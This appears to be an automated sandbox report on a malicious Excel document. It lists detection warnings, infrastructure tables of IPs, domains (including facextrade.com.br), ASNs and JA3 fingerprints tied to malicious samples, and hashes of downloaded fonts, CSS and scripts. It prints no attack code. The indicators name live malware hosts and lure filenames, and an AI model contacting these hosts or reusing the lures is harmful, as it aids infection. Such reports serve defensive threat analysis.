Classification:	mal100.troj.expl.evad.winXLS@11/88@5/4
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 92% Number of executed functions: 54 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.215.234, 142.250.185.74, 172.217.16.195
Excluded domains from analysis (whitelisted): maps.googleapis.com, fonts.googleapis.com, fonts.gstatic.com
Execution Graph export aborted for target mshta.exe, PID 1992 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:53:27	API Interceptor	3x Sleep call for process: taskkill.exe modified
11:53:27	API Interceptor	742x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.18.11.207	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	http://emfs.co.za/wp-content/uploads/emfs-popia-privacy-policy-final.pdf	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/4.0.1/css/font-awesome.css

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
facextrade.com.br	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.18991.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.16558.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.29868.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.23052.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.12175.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.9077.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	187.45.240.69

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	104.18.11.207
	ANFRAGE AUFTRAGSBEST#U00c4TIGUNG.exe	Get hash	malicious	Browse	162.159.134.233
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	104.18.10.207
	RECHNUNG99787383.exe	Get hash	malicious	Browse	1.1.1.1
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	104.18.11.207
	00187679526.xlsx	Get hash	malicious	Browse	172.67.74.85
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	104.18.10.207
	00187679526.xlsx	Get hash	malicious	Browse	172.67.74.85
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	104.18.10.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	142.250.181.238
	Order 90541#.docx	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	142.250.181.238
	00187679526.xlsx	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Browse	142.250.181.238
	PO#166809.xlsx	Get hash	malicious	Browse	142.250.181.238
	ATT11280.htm	Get hash	malicious	Browse	142.250.181.238
	NextEra RFQ and Business Proposition.docx	Get hash	malicious	Browse	142.250.181.238
	BL-20-89DS.docx	Get hash	malicious	Browse	142.250.181.238

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aKb:JFKb
MD5:	C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
SHA1:	35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
SHA-256:	B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
SHA-512:	6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
Malicious:	false
Reputation:	high, very likely benign file
Preview:	<root></root>

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u8w4BMUTPHh30AXC-u[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Hairline family
Category:	downloaded
Size (bytes):	21906
Entropy (8bit):	7.967838538437944
Encrypted:	false
SSDEEP:	384:VFJHGuN6qSpebL2RIS+Xv4nRE0661wyGSD37OhAVT/VJqVL89X:VFTEqFbCOS+/cz1wyRD3+u/zqd8d
MD5:	AC3C05998D9A3A94292ADB42CA4402D0
SHA1:	F15C88C7820DACCFA39D9007E7BF98652D2DAA2C
SHA-256:	C27571B00544786FF1223F04E4254433CECB80A49DDC1605968FB8ED0FB2E46B
SHA-512:	30F0F74DB92E2D943D8994E6ED8E9E54CA47861AFCBC612D0002E4C97C0FF83E395FC258DC4C649283F9F8EF49A167A29BB4AC3840D0D7E072C4CCCF408119A3
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Preview:	.U...T............................LP'...J.............. ....@..y....................L.a.t.o. .H.a.i.r.l.i.n.e.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.H.a.i.r.l.i.n.e.....BSGP...................`.=..>..50....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..;".I^...s..N......!.....-..m."....Yb..qrS.a..N..B....~......m..X._.^.V.".2...3Q..qM.nl....U.7..M.D..j..9..C..]..X...L'.s..:...[.b....x>...6.5}_.;.......v...s.`.......E....&.nV..M.(iy..Mi1...(q...........s..L.H.'y..O..CL..y......S...E.#@.l..............X.....A....0".Ju./..#.......]....5o8I..\|.A...$...Q.qmE.m.q..@.Y...x..J4.$$.. ?...D...g.z..\fq...(o;LX.`U......J2Q..i..1....9......u....L.mSn.......t...d....).....[L7.0.}.A..E.m.P..F.i'h..........0..Z\...1.{.y..i..*...M@..M.6...h.ha`.`....!.H...K..y._.........t-..C..w.......Zi..P...\.<K...z4Q..\.....:jcU.......F.6.n.......F.>0@.a@.@.........\|.d=...Re..sG..=.= ....X@..G...p;...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u9w4BMUTPHh50XSwiPHQ[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Black family
Category:	downloaded
Size (bytes):	25451
Entropy (8bit):	7.969770648296379
Encrypted:	false
SSDEEP:	768:HoV31fm0ipzey9jR/tzFC+THGz4x8SJG2Xeog:HoVFuNP/3CdSLOt
MD5:	0AD19DEC4DE4F225CBF95946B07F03F0
SHA1:	4ED5339BEAA5683AEAE65BB1E4B48A877EDDBB65
SHA-256:	9D42496620626D2D3AC3022B36A1671BEE2F23B86A147440C92316380FB30BBD
SHA-512:	22A7EC99DD4068291486B54832B895BD0766E5710DC0622FBF0A2FA3A2EB98EF12AB1B37210CAD603DF4709719E051D91F1ACCE17B9DC20E72C410AAE3A7D346
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Preview:	kc..mb............................LP'...J.............. .....7.n....................L.a.t.o. .B.l.a.c.k.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.l.a.c.k.....BSGP.....................A^.G>.3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...l..%HL...a.EY.I.....zF........m.V..O.....x#E...:..T[q;Q....}.@`>..... cu)...4Y.9/.....:.._....d....-.9....NSe...NF.Q.5.(<,..C..F...>..~..p...t.....2.\|5..p.c_.(B...H..%........Ma.3Y..4$o...l .....@6...6.].]....... ......4@..t.B!.2.-.O...&.y.v.....4J@.E...TDCr..)..U..V..%.%.5.....7E.m_x"..<T...Il..O.%Q...x.5......]..fB.< .H..0h`......y..\.y.Q..&...O.........vs......t...\|.GS0...H.:..].t.u......9..LBfb&&..A..L},..P.cOy...B.O%..H..UX<X=X>PCPk...H.Q..!T".A..4/\b..7..!...........W.\|E...n...w0v....j;.....?<..w.Q.r.$$x......oy..O9...^...g@..r....9....vCr..v....m....MPOo..,"..(.E.f...?..d.M..hT.P.u..`d8_#....&.}...\|k...>e...*;>1.O.$.P{..ao.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u9w4BMUTPHh6UVSwiPHQ[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	Embedded OpenType (EOT), Lato family
Category:	downloaded
Size (bytes):	26118
Entropy (8bit):	7.970184406626934
Encrypted:	false
SSDEEP:	768:Il7bajNBleEzCTFhEctniWorQDzlIgJg4Qf06Fzq1qZ:IsjNe2SjtLor6lTcf0yzIqZ
MD5:	57425A0BD70ABEC6F5FD38D3B2507E89
SHA1:	6F7576213E3FCC093C38C96DB22EC701A1E6EAAA
SHA-256:	AB98070851F53310219E56128C117B5BA13BC63B822637B1B1103277C1E3010C
SHA-512:	6AC3F2676A83839DCEE79D501ABDE1FF4F04D818654489A949172800406E5F9034085C861BB4EB734F92478F870C795640C32D087FBCD3F9E25984B30E3A6FE4
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Preview:	.f...e............................LP'...J.............. ....Z.i.....................L.a.t.o.....B.o.l.d...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .B.o.l.d.....BSGP.....................C..I..4........ZB....D...X,S..O.......l.i...@.`..#....OjOz.....@....Y%hC..9......A..h...0..uH....n-)5.u[....W.u.....EE..j5.0.g......j'[.~.2Nv..le.'V.o.r........P}....c.....J.J.......j.2...>...(.J.:g..W..Q..X...f..).>........./(.%.7(.".......f1.....v9......O4...@..].Kv..'.>......&H.c...0>..9#...}....I+#W....".%p&.Yr.I5.............S..,$...&m.&1. ..!..U..^Y.0413l.9 .Q.........{Csw....f....X.P'.....R216...=E.g.7..T..5..m.>c....C.O.}C.X.../y\.$ ......4.......u.R......R.+..G.S.I.I..D&....b....+.o....[@.#n.4.<.D....$a....y.+....A.K.rF.....`.\.Z.AQG.@mD.......'\|.........80...c..a..5.{..Y8......9.q".!.....R<v...g3....B.T.]>.....#...x...0..<..D.._.=...t.:8....G]..;L...\q.F.C..f._.@..9g..kp...:N.HB..B..}.%..R..T%[.$z

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6u9w4BMUTPHh7USSwiPHQ[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Light family
Category:	downloaded
Size (bytes):	24456
Entropy (8bit):	7.962811770770542
Encrypted:	false
SSDEEP:	384:rD2u7JY1e7uWKgCWOv1x21IA3qjRD7yKbev6YyNPpEaQsclWZaXVCqDoH9Hjl9uL:NuW3vOv1sk1DWKC6YyeH9FVCVHJYpTIc
MD5:	D07A3DF5EB89A8BBEA764021336FC851
SHA1:	4168D287AB866CC21F47FC5DCF62B6871DFB210D
SHA-256:	79AD628A22C9AA1A8D30C9F5920D7F432F51804B9750BFE907C3A10D46CDB445
SHA-512:	BA7378D7DBA3C8BBAD610BAAE431339D121B0FE4B2876A1A1E87D9837053F6AC006490B959798B304BA6A96893D0250510FB077D556D2BCA056EE81A2A8970EB
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Preview:	._...^......................,.....LP'...J.............. ......N.....................L.a.t.o. .L.i.g.h.t.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.L.i.g.h.t.....BSGP...................?.@..A..2~....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..nE.'.....`!a.........,~.[A.p2..X.8.\..XO.r..F. N..k..P.[..]ooQ. ...zeX.....q....%4...nR....z.f.L.~6C.c...!..~Wi..V....z....h.......Z.*...&..MOx.N...6....twP,y3....;.b...I..mR.8..........f....9Z$..^....._..'...K..P%.Qz:..A..].....U..l.Z.ci}0.\|. ."'`.<............0x..i..h...Ra.....h.V.v..../C"M..DH. .>.D..J.....U.....c....)"....X..$..0o..?#..a.ep..f..#L.f..F[B.R...!.n..l.4..y..<...1..}..4....F..v.y7..9...<.A.=..>..n3#.`}@j...D.b.....U.r........."....8.9.I......L...t.4....f.&...;D.....u0W.U..^Cy..>..Q..#.OQ[Xn..6...?U.FY....m...)K.AE.(8."...j...^...B....kc]....b.'..;A..v........U.9%.........r.....h..k..K..G..)..^..OwV>!=.w.H....`.v+(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\S6uyw4BMUTPHjx4wWg[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	Embedded OpenType (EOT), Lato family
Category:	downloaded
Size (bytes):	26669
Entropy (8bit):	7.969873501177376
Encrypted:	false
SSDEEP:	384:3o0KhHhcVoBbXSW9jDQfwYejcrqTGOBnhwHAVKnn5DwVGUDucy6RormfvtZk+:YP2Ob/DowqrMnhwHZntuHRy62rmf8+
MD5:	F0AA40EA96D1920A1A96329B4A35EDED
SHA1:	31E6A2EAF78903F0487F2DB6319D7A8E5186C218
SHA-256:	E745A8D2C87907FEE0267896B226BCAD1A2634A8C6826BC284F06875B14F0E60
SHA-512:	B22522660F8C966675003E592DE0A7338BB08E68456BBDF661FFAEC3CB9B33D71C63C870C30A0177A32AA2E1EF5014DF27F57D67AB21690D36FB0FF360722680
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Preview:	-h..7g............................LP'...J.............. ......>.....................L.a.t.o.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o. .R.e.g.u.l.a.r.....BSGP.....................B..H..3........ZB....D...X,S..O...G.cu.b.>Nj....l.\t.bcA.85..N.~.X...d..%HL...a.EY.I....QL...,.#0...m.V.E)...L7.E)......T[t;T.... 0.\y.b{l.d..Jplc.,.......9...K..}.Q..\|..W...3.q..rt..G#W....q....&.V_.bh.ql..z[.>....,. ......1.AfE.....q.2.e...d.....+o>....)..1f..2.~.\|.../.."..k0.).......Bzj"&~.J..pF1V3......Q..&R..H...O`..Z.n.a.h@.e.Z.,<Ex./......%..#C....##...&. ..ub...{..x.h.TA.....0OA:.8....E...}...H...ZN.f...s..g&..~y.Q;9......;.X..S...x..g..I.O.JX.k............!...h_...........Q. .\L.^.f.n.t.\|.Y..j)..G..{.....`.V..ZM.b.+.v-..X.XMQ......A.../..C....N......4Xi..a..e...v..?......=..4O......Og.S`.W.&..w.>...>.....Hu.......5....."...........r.._..M:.k...q..O9....Fy.2.1...y)..[.F4.d~.........0./...^L

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\camera.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	39402
Entropy (8bit):	5.336241934125691
Encrypted:	false
SSDEEP:	768:HUp+FrGU1OYvR7qO218kwiA2gRDLMjmQyrshT7Db3E8J1KTuDvniryxn7OqOPOtb:6fU1Ox62LvniFFl3D+
MD5:	4338F6FCF6F5F1332747A94E09A65DF4
SHA1:	099715E7293A8B570C46779C7A28B6832E34B72A
SHA-256:	CAD3B6107C8A8F38229ADD27D02A2150E204BA78ACC54144E132A20BA40FC3FE
SHA-512:	1120EC4FB4B981CDDF49F4B9933660F74A8B4B03746B5B329925E32FE5ABD13A675ACBBC8A53A2E2AB4F5C575256D0577B282236A60EEBA977232122577D3DB5
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Preview:	// Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+.// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com.// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php.;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)\|\|navigator.userAgent.match(/webOS/i)\|\|navigator.userAgent.match(/iPad/i)\|\|navigator.userAgent.match(/iPhone/i)\|\|navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nextThumbs",V).addClass("hideNav")}var h=c.left,i=c.left+

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\cherry-plugin[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	31422
Entropy (8bit):	5.000880526077528
Encrypted:	false
SSDEEP:	768:TFGFeFRavlJesa3UrJB2ZJFqxF1lFGFesjFXF643F933gVFAMF9J:TIEra9gsa3UrJB2ZJMzlIEsjhEoL33U1
MD5:	8ADC9563E564E9A3DE844DF686CAE8A5
SHA1:	B97B5FCAD7BEA9E7D88B0462AAA9D3D24376C3E8
SHA-256:	B04E93D31D6325159B13956EA9CF31A8B1DB7A02AFD91E781609ADFA651AEF18
SHA-512:	C4406AFE68209188474D5960A5DB5E9769E001C648D8B70C9204A3FB6EA7D4F161CD5FA2D349024F7B9F5E9AD145E51A91DD285CE062742CBA29A106C68D03C8
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Preview:	/* #Shortcodes.================================================== /./ Recent Posts Shortcodes.---------------------------------------- /..recent-posts {. overflow: hidden;. margin: 0 0 0 -20px !important;. padding: 0;. border: none;. list-style: none;. / Images Format Type /. / Quote Format Type /. / Link Format Type /. / Audio Format Type /. / Video Format Type */.}..recent-posts_li {. margin: 0 0 20px 20px;. padding: 0;. border: none;. background: none;. list-style-type: none;.}..recent-posts_li .featured-thumbnail {. float: left;. margin: 0 20px 0 0;.}..recent-posts_li h5 {. margin-bottom: 0;. font-size: 1em;.}..recent-posts_li .excerpt {. margin-bottom: 1.5em;.}..recent-posts_li .meta {. display: block;. overflow: hidden;. margin-bottom: .5em;. color: #888;. text-transform: uppercase;. font-size: 10px;.}..recent-posts_li .post-date {. float: left;.}..recent-posts_li .post-comments {. float: right;.}..recent-posts .format-image {. float: left

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\css[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	5.082226381168297
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
MD5:	2BC56AB743AAE5AAC9AAC55D0850AAC5
SHA1:	BFB989317C6BAAE1BAD28B90D9535B19BE847827
SHA-256:	5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
SHA-512:	FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:400
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\css[2].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.1208073656474
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFWYhfqzNsqcdjKIsfn6vYvn:0IFFN+56ZzhizNspdPsyAv
MD5:	F123470D54A5D2FFAADD149D5AD1AAB0
SHA1:	3C2F20E79789430AA00C6D7905C3CBF5C397F9A4
SHA-256:	9E9E61C05174FAB73421B450A65AB5882D2953DA2BC4501212CAE8F3C53B358C
SHA-512:	2ABF321BFFD8233E19D8BB5FFE9FF5D93E1C9E41B0AF63067CC2DA13DFCD80176D3D9D6762D5D36CBE379B5DC122A24A8B190CE6ACDAD5C3CE3D4F754FB58CF0
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:300
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 300;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\css[3].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.138466900917678
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFS/w7fqzNsqcdjKIsk2SU6vYvn:0IFFN+56ZN7izNspdPsk2SU6Av
MD5:	61D55D02CF44B8A326A1504988A4955C
SHA1:	1641427E2A855C452FF71C3DD8014419376A30AD
SHA-256:	313F45400B50542F391871B43C708EADBDB23BFD4549EB8017A7192351FC41E4
SHA-512:	E8C3F9EEB19793334FDBF6CDE1731F09900F5BC20FAF3A1B6F76B796FCACB31324109280489923EBB66BEDEE242A6CD8B6654D80D95D9F523EC12CF633816127
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:700
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 700;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\css[4].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.133627878467913
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFcYFTfqzNsqcdjKIsWg6vYvn:0IFFN+56Z1FTizNspdPsWg6Av
MD5:	BC9F29EE3D832A38F914975FD3C14848
SHA1:	970307BD837AB5B3380A1BAE698091F2E080F5E3
SHA-256:	EE49572B06F53A4EA8DB5798B07507AA2D3E535FF443C27AE315177B0164FF42
SHA-512:	EBFADAD58232A738039F1D75523E3CB36928E4E2846A60CCA8B66AC7820666F7A6523AAF2622CD05B3102DCA4F61BAAA4EC7001C8A5D8D7B0D340E4976456370
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:900
